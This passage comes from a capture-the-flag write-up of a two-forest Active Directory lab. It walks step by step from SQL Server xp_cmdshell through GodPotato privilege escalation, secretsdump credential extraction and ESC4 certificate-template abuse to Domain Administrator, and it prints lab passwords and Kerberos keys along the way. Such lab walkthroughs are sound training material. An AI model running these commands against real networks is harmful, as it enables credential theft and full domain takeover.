- Although the SQL session is authenticated as `p.reiner`, commands executed through `xp_cmdshell` run under the SQL Server service account, `pong\svc_sql`.
- The service account's privileges are then inspected:

```plaintext
xp_cmdshell whoami /priv
```

- Among the listed privileges is:

```plaintext
SeImpersonatePrivilege        Impersonate a client after authentication Enabled 
```

- This is particularly interesting because the privilege can be abused through certain Windows privilege escalation techniques to obtain a SYSTEM-level execution.

### Exploring `SeImpersonatePrivilege` with `GodPotato`

- With `SeImpersonatePrivilege` enabled, `GodPotato` is a suitable tool for attempting local privilege escalation.
- The executable is downloaded from its official GitHub repository:

```sh
wget -q --show-progress "https://github.com/BeichenDream/GodPotato/releases/download/V1.20/GodPotato-NET4.exe"
```

![](https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/9df7cad7-4a1e-4bc8-95a8-1319cfb45a3c.png align="center")

- The file is identified as a Windows .NET executable. It is the uploaded to DC2 through the existing Evil-WinRM session:

```pwsh
upload www/GodPotato-NET4.exe gp.exe
```

![](https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/c46512ce-471a-438d-b596-babaf4cf1a0b.png align="center")

- The executable is placed in `C:\ProgramData`. Its permissions are inspected:

```plaintext
icacls gp.exe
```

- To ensure that the SQL Server service account can execute it, read and execute permissions are granted to **Everyone**:

```plaintext
icacls gp.exe /grant EVERYONE:RX
```

- The permissions are verified again.
- The next step is to execute `GodPotato` through the SQL Server session. Since `xp_cmdshell` runs commands as `svc_sql`, the tool can attempt to abuse the account's impersonation privilege:

```plaintext
xp_cmdshell C:\ProgramData\gp.exe -cmd whoami
```

![](https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/bcf2949e-d9f2-4494-a75d-e44b5085510c.png align="center")

- The output shows `GodPotato` successfully locating and impersonating a SYSTEM token.
- The command executes as `NT AUTHORITY\SYSTEM`, confirming successful privilege escalation on DC2.

### Adding `c.carlssen` to the Local `Administrators` Group

- Rather than relying exclusively on the SQL Server session, `c.carlssen` is added to the local Administrators group on DC2. GodPotato is used to execute the command with SYSTEM privileges:

```plaintext
xp_cmdshell C:\ProgramData\gp.exe -cmd "net localgroup administrators c.carlssen /add"
```

![](https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/2f64a11f-d95a-4af6-914b-d1e02db07f2d.png align="center")

- The output confirms that the command completed successfully.
- The group membership is then verified:

```plaintext
xp_cmdshell C:\ProgramData\gp.exe -cmd "net localgroup administrators"
```

![](https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/e231fcd9-62da-4ab9-85c0-c41b152d4da6.png align="center")

- The resulting list confirms `c.carlssen` has been added to the local Administrators group on DC2.

### Verifying Local Administrator Access on DC2

- After adding `c.carlssen` to the local Administrators group, the existing WinRM session needs to be closed and a new one established. This ensures that Windows creates a fresh logon session and applies the updated group memberships and privileges:

```sh
KRB5CCNAME=c.carlssen.ccache proxychains -q evil-winrm-py -i DC2.pong.htb -k
```

![](https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/b1c5cedc-09f2-4232-b0be-e159d3ac16c5.png align="center")

- The authenticated identity is confirmed as `pong\c.carlssen`.
- Next, the account's privileges are enumerated and the output now contains a significantly expanded set of privileges.
- Unlike the earlier restricted account, `c.carlssen` now has the extensive privileges associated with local administrative access. This confirms that the membership change performed through `GodPotato` took effect after establishing a new session.
- NetExec also confirms administrative access over SMB and LDAP:

```sh
proxychains -q nxc smb DC2.pong.htb -u c.carlssen -p 'A()DUJ!@414' -k
```

![](https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/41c0cc80-d6cf-4b09-9dbc-e2a3f257d37c.png align="center")

- LDAP Authentication:

```sh
proxychains -q nxc ldap DC2.pong.htb -u c.carlssen -p 'A()DUJ!@414' -k
```

- Both authentication attempts succeed.
- The same result is obtained when using the Kerberos credential cache.
- SMB Authentication:

```sh
KRB5CCNAME=c.carlssen.ccache proxychains -q nxc smb DC2.pong.htb --use-kcache
```

- LDAP Authentication:

```sh
KRB5CCNAME=c.carlssen.ccache proxychains -q nxc ldap DC2.pong.htb --use-kcache
```

- The `Pwn3d!` indicator confirms that NetExec recognizes the account as having administrative privileges on the target.

### Looking for the Root Flag

- With administrative access to DC2, the Administrator profile is inspected:

```plaintext
tree /f
```

![](https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/79f5ba13-d1ec-464b-833d-9fec9407b4ff.png align="center")

- The directory listing reveals the usual profile folders, but no `root.txt` is present on the Desktop.
- This suggest that obtaining administrative access on DC2 is not the end of the attack chain. The forest trust between `PONG.HTB` and `PING.HTB` provides another direction to investigate.

## Pivoting Back to `PING.HTB`

- The two domains have a **bidirectional forest-transitive trust**. This means that security principals and permissions can be relevant across the domain boundary, depending on the trust configuration and the specific access-control relationships.
- Returning to BloodHound reveals an interesting path from `PONG.HTB` into the certificate infrastructure of `PING.HTB`.

![](https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/d0f1bef3-de30-41f0-9449-3c105a27efa4.png align="center")

- The `R.Martinelli` account is particularly interesting because it belongs to `CA MANAGERS`. BloodHound identifies this group as having both `WriteDacl` and `WriteOwner` permissions over the `SmartcardAuthentication` certificate template in `PING.HTB`.

![](https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/d50682c3-955e-493c-9b1e-e5f30035c98d.png align="center")

- These permissions are significant:
  - `WriteOwner` allows the owner of an object to be changed, subject to the applicable ownership rules.
  - `WriteDacl` allows the object's discretionary access control list to be modified, potentially granting additional permissions over the object.

![](https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/03798e00-0156-4cd8-ab7e-9ef45fa463f1.png align="center")

- Together, these permissions provide a route to modify the certificate template's access controls and configuration.
- The identified **AD CS ESC4** relationship indicates a potential **ESC4** certificate-template misconfiguration. **ESC4** involves dangerous permissions over a certificate template that can allow an attacker to modify its configuration and turn it into a template suitable for certificate-based privilege escalation.
- The next step is to obtain the `R.Martinelli` credentials and use the account's delegated permissions against the template.

### Extracting Credentials from DC2

- Since `c.carlssen` now has administrative access to DC2, **Impacket's** `secretsdump` can be used to extract credentials from the domain controller:

```sh
KRB5CCNAME=c.carlssen.ccache proxychains -q impacket-secretsdump -k -use-vss DC2.pong.htb 
```

![](https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/98f3ac91-11d5-484c-950c-76b7d7b152d4.png align="center")

![](https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/7fa7d5b3-dc95-4e75-964c-2ea67d0f245a.png align="center")

![](https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/7d93b2f4-4357-4ce4-a0e3-df264af854f8.png align="center")

- The output confirms that the tool successfully accesses several credential stores.
- Among the extracted LSA secrets is the SQL Server service account password.
- More importantly, the NTDS database dump contains hashes and Kerberos keys for the domain accounts, including `R.Martinelli`:

```plaintext
R.Martinelli:aes256-cts-hmac-sha1-96:61e48d17cfe9507a3095dfb84b218a4b803aa0984b123e432bc2a40fc5f7fe98
R.Martinelli:aes128-cts-hmac-sha1-96:14f94b4b3deaabde802460945a2079e9
R.Martinelli:des-cbc-md5:8c437f1f578f3b3b
```

- The AES256 key can be used to request a Kerberos TGT without knowing the account's plaintext password.

### Requesting a TGT for `R.Martinelli`

- Using the recovered AES256 key:

```sh
proxychains -q impacket-getTGT -aesKey 61e48d17cfe9507a3095dfb84b218a4b803aa0984b123e432bc2a40fc5f7fe98 pong.htb/r.martinelli
```

![](https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/bb7e1c82-b537-4d64-8911-7e1bd25a8de2.png align="center")

- Authentication against DC2 is verified using the new ticket.
- SMB Authentication:

```sh
KRB5CCNAME=r.martinelli.ccache proxychains -q nxc smb DC2.pong.htb --use-kcache
```

![](https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/71b4810f-c24f-4bc6-b89e-a99831fb0450.png align="center")

- LDAP Authentication:

```sh
KRB5CCNAME=r.martinelli.ccache proxychains -q nxc ldap DC2.pong.htb --use-kcache
```

- Both SMB and LDAP authentication succeed.
- With a valid Kerberos session for `R.Martinelli`, the cross-domain permissions identified in BloodHound can now be investigated directly.

## Abusing ESC4 Through `SmartcardAuthentication` Template

- The `R.Martinelli` ticket is used to enumerate writable objects on DC1:

```sh
KRB5CCNAME=r.martinelli.ccache proxychains -q bloodyad --host DC1.ping.htb -d pong.htb -k get writable
```

![](https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/6b2d5f32-edc7-4b34-98a5-356d4ff515ca.png align="center")

- The result confirms that the `R.Martinelli` security context has the required permissions over the `SmartcardAuthentication` template in `PING.HTB`.

### Inspecting the Certificate Template

- The template's attributes can be retrieved through LDAP:

```sh
KRB5CCNAME=r.martinelli.ccache proxychains -q bloodyad --host DC1.ping.htb -d pong.htb -k get object "CN=SmartcardAuthentication,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=ping,DC=htb"
```

![](https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/c1e30e71-4641-4102-a155-eceb589d7857.png align="center")

- One important attribute is `msPKI-Certificate-Name-Flag`. It controls how the certificate subject and alternative names are populated.
- The current value is retrieved:

```sh
KRB5CCNAME=r.martinelli.ccache proxychains -q bloodyad --host DC1.ping.htb -d pong.htb -k get object "CN=SmartcardAuthentication,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=ping,DC=htb" --attr msPKI-Certificate-Name-Flag
```

- The value is modified to 1:

```sh
KRB5CCNAME=r.martinelli.ccache proxychains -q bloodyad --host DC1.ping.htb -d pong.htb -k set object "CN=SmartcardAuthentication,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=ping,DC=htb" msPKI-Certificate-Name-Flag -v 1
```

![](https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/62c4b99d-767b-453d-913e-394d9d857c92.png align="center")

- BloodyAD confirms the update.
- The value is checked again to verify that the change was applied:

```sh
KRB5CCNAME=r.martinelli.ccache proxychains -q bloodyad --host DC1.ping.htb -d pong.htb -k get object "CN=SmartcardAuthentication,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=ping,DC=htb" --attr msPKI-Certificate-Name-Flag
```

- Setting this attribute to `1` enables `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT`. This allows the certificate requester to supply the subject name rather than relying solely on the subject information stored in Active Directory.
- That capability is important because it can allow a requester to specify another account's identity in the certificate request, provided the template's other settings and enrollment permissions make the resulting certificate usable for authentication.

### Granting `c.roberts` Full Control over the Template

- The next step is to grant `c.roberts` full control over the modified template.
- First, the account's SID is retrieved:

```sh
KRB5CCNAME=r.martinelli.ccache proxychains -q bloodyad --host DC1.ping.htb -d pong.htb -k get object c.roberts --attr objectSID
```

![](https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/b630274b-a7a7-4753-ada8-47a11f231e6f.png align="center")

- Using this SID, `GenericAll` is granted over the `SmartcardAuthentication` template:

```sh
KRB5CCNAME=r.martinelli.ccache proxychains -q bloodyad --host DC1.ping.htb -d pong.htb -k add genericAll "CN=SmartcardAuthentication,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=ping,DC=htb" S-1-5-21-750635624-2058721901-1932338391-2617
```

- The operation succeeds.
- This gives `c.roberts` full control over the certificate template, providing the permissions needed to proceed with certificate enrollment.

### Requesting a Certificate as `Administrator`

- The existing `c.roberts.pfx` certificate is used to authenticate to the CA and obtain a Kerberos ticket:

```sh
certipy-ad auth -pfx c.roberts.pfx -dc-ip 10.129.159.165
```

- Certipy confirms the certificate identity and retrieves a TGT.
- The certificate is valid for `c.roberts`, and the resulting ticket is used to request a certificate for the domain Administrator:

```sh
KRB5CCNAME=c.roberts.ccache certipy-ad req -ca ping-DC1-CA -template SmartcardAuthentication -upn 'Administrator@ping.htb' -sid S-1-5-21-750635624-2058721901-1932338391-500 -dc-ip 10.129.159.165 -dc-host DC1.ping.htb -target DC1.ping.htb -k
```

![](https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/67b17d1f-1bb8-44bf-adc7-fc8277a569fd.png align="center")

- The first attempt fails.
- This is consistent with the earlier RPC connectivity issue involving DC1's multiple network interfaces. Retrying the request succeeds.
- Certipy successfully issues the certificate.
- The certificate is now associated with the Administrator identity in `PING.HTB`.

### Authenticating as the `PING.HTB Administrator`

- The newly issued certificate is used to request a Kerberos TGT:

```sh
certipy-ad auth -pfx administrator.pfx -dc-ip 10.129.159.165
```

- The output confirms that Certipy retrieves the Administrator's NT hash.
- The new credential cache is tested against DC1 using NetExec.
- SMB Authentication:

```sh
KRB5CCNAME=administrator.ccache nxc smb DC1.ping.htb --use-kcache
```

![](https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/5aacdd05-f41d-412a-8a72-cf907f60a110.png align="center")

- LDAP Authentication:

```sh
KRB5CCNAME=administrator.ccache nxc ldap DC1.ping.htb --use-kcache
```

- Both services accept the ticket.
- The Administrator identity has now been successfully obtained in the first domain.

### Retrieving the Root Flag

- With the Administrator ticket, a WinRM session can be established on DC1:

```sh
KRB5CCNAME=administrator.ccache proxychains -q evil-winrm-py -i DC1.ping.htb -k
```

![](https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/9e139c6c-cfc1-44d6-b59f-bf2e03fa8499.png align="center")

- The Administrator profile is inspected:

```plaintext
tree /f
```

- The Desktop directory contains `root.txt`.
- The root flag has been obtained, completing the compromise of both domains.

---

## Attack Chain

1. **Initial Access**: Authenticate as `c.roberts` in `PING.HTB` using the assumed-breach credentials.
2. **AD CS Enumeration**: Identify the vulnerable `TemporaryWinRM` certificate template and its `ESC13` issuance-policy relationship.
3. **Certificate Authentication**: Enroll in `TemporaryWinRM`, obtain a certificate for `c.roberts` and authenticate using `PKINIT`.
4. **Pivot to PONG.HTB**: Use DC1 as a pivot to enumerate the second domain through the forest trust.
5. **gMSA Abuse**: Modify the `GMSA MANAGERS` group scope and membership to obtain the password for `Pong_gMSA$`.
6. **JEA Enumeration**: Authenticate as `Pong_gMSA$` and recover `c.carlssen` credentials from PowerShell history on `DC1`.
7. **SQL Privilege Escalation**: Use `c.carlssen`'s delegated permissions to configure RBCD on `svc_sql`, impersonate `p.reiner` and obtain SQL `dbo` access.
8. **SYSTEM on DC2**: Abuse `SeImpersonatePrivilege` with GodPotato through SQL Server's `xp_cmdshell`then add `c.carlssen` to the local Administrators group.
9. **Cross-Domain Credential Access**: Use the resulting administrative access to dump DC2 credentials and recover the Kerberos key for `R.Martinelli`.
10. **ESC4 Exploitation**: Use `R.Martinelli`'s permissions over the `SmartcardAuthentication` template to modify its configuration and grant `c.roberts` `GernericAll`.
11. **Administrator Certificate**: Enroll for a certificate using the Administrator's UPN and SID, then authenticate as `PING.HTB\Administrator`.
12. **Domain Compromise**: Access DC1 through WinRM and retrieve `root.txt`.

---

## Conclusion

**PingPong** demonstrates how multiple Active Directory weaknesses can be chained into a complete forest-level compromise. An *assumed-breach account, an ESC13 certificate template* and *a series of misconfigurations* eventually open access across a forest trust. Along the way, *gMSA misconfigurations, exposed PowerShell history, RBCD, SQL Server privilege escalation* and *credential extraction* provide the foothold needed to move deeper into the environment.

The final escalation brings the investigation back to the PING domain, where cross-forest group permissions allow the `SmartcardAuthentication` template to be modified and abused through `ESC4`. A certificate issued for the Domain Administrator account then provides the credentials needed to compromise DC1 and retrieve the root flag.

Beyond the individual techniques, PingPong highlights an important security lesson: Active Directory cannot be secured one domain, service or permission at a time. *Trust relationships, certificate templates, delegated privileges* and *service accounts* all form part of the same security boundary. A weakness in one area can quickly become the stepping stone to another, turning a limited foothold into a full domain compromise.

In the end, the name **PingPong** feels rather appropriate. Access bounced between two domains, credentials changed hands, certificates opened doors and eventually both domain controllers ended up on the compromise list. The only thing that didn't make it across the forest was the security team's peace of mind.

---

## Tools Used

### Network Reconnaissance and Enumeration

- `Nmap`: Network scanning, port discovery, service enumeration and version detection.
- `NetExec`: SMB and LDAP enumeration, authentication testing, share discovery and privilege verification.
- `ping`: Basic host reachability testing.
- `ifconfig`: Network interface and IP address inspection.
- `ntpdate`: Synchronizing the attack machine's clock with the domain controller to avoid Kerberos clock-skew errors.

### Active Directory Enumeration and Analysis

- `RustHound-CE`: Active Directory data collection for BloodHound analysis.
- `BloodHound`: Visualizing domain relationships, group memberships, ACLs, delegation and privilege escalation paths.
- `BloodyAD`: Enumerating and modifying Active Directory objects, permissions, group memberships and certificate template attributes.
- `NetExec`: Enumerating domain users, groups, computers, SMB shares and LDAP information.

### Kerberos and Credential Operations

- `Impacket`: A collection of Python tools used for Kerberos authentication, ticket manipulation, remote execution and credential extraction. Utilities used included:
  - `impacket-getTGT`: Requesting Kerberos TGTs using passwords or AES keys.
  - `impacket-secretsdump`: Extracting SAM, LSA, NTDS and Kerberos secrets.
  - `impacket-describeTicket`: Inspecting Kerberos tickets and their PAC information.
  - `impacket-mssqlclient`: Connecting to Microsoft SQL Server using Windows authentication.
- `Certipy-AD`: Enumerating AD CS configurations, requesting certificates, authenticating with certificates and exploiting certificate template misconfigurations.
- `klist`: Inspecting cached Kerberos tickets.
- `kvno`: Requesting and inspecting Kerberos service tickets.
- `KRB5_TRACE`: Troubleshooting Kerberos authentication and ticket requests.

### Remote Access and Lateral Movement

- `evil-winrm-py`: Establishing remote PowerShell sessions over WinRM using password or Kerberos authentication.
- `ProxyChains`: Routing connections through a SOCKS proxy to reach systems on the internal network.
- `Chisel`: Creating a reverse SOCKS tunnel through the compromised domain controller to access the second domain controller.

### Exploitation and Privilege Escalation

- `GodPotato`: Exploiting Windows impersonation privileges to obtain elevated execution.
- `xp_cmdshell`: Executing operating system commands through SQL Server.
- `Active Directory Certificate Services (AD CS)`: The certificate infrastructure abused through ESC13 and ESC4 misconfigurations.
- `PowerShell`: Inspecting command history, interacting with Windows systems and performing administrative operations.

---

## References

### Tools and Utilities

- [Chisel](https://github.com/jpillora/chisel)
- [Windows Chisel Download](https://github.com/jpillora/chisel/releases/download/v1.12.0/chisel_1.12.0_windows_amd64.zip)
- [Linux Chisel Download](https://github.com/jpillora/chisel/releases/download/v1.12.0/chisel_1.12.0_linux_amd64.gz)
- [GodPotato](https://github.com/BeichenDream/GodPotato)

### Active Directory

- [Active Directory Security Groups](https://learn.microsoft.com/en-us/windows-server/identity/ad-ds/manage/understand-security-groups)

### Active Directory Certificate Services (AD CS)

- [AD CS ESC4 - SpecterOps / BloodHound](https://bloodhound.specterops.io/resources/edges/adcs-esc4)
- [Certipy: ESC13 - Issuance Policy with Privileged Group Linked](https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc13-issuance-policy-with-privileged-group-linked)
- [ESC13 Abuse Technique - SpecterOps](https://specterops.io/blog/2024/02/14/adcs-esc13-abuse-technique)
- [ESC4 Template Hijacking - Certipy Wiki](https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc4-template-hijacking)
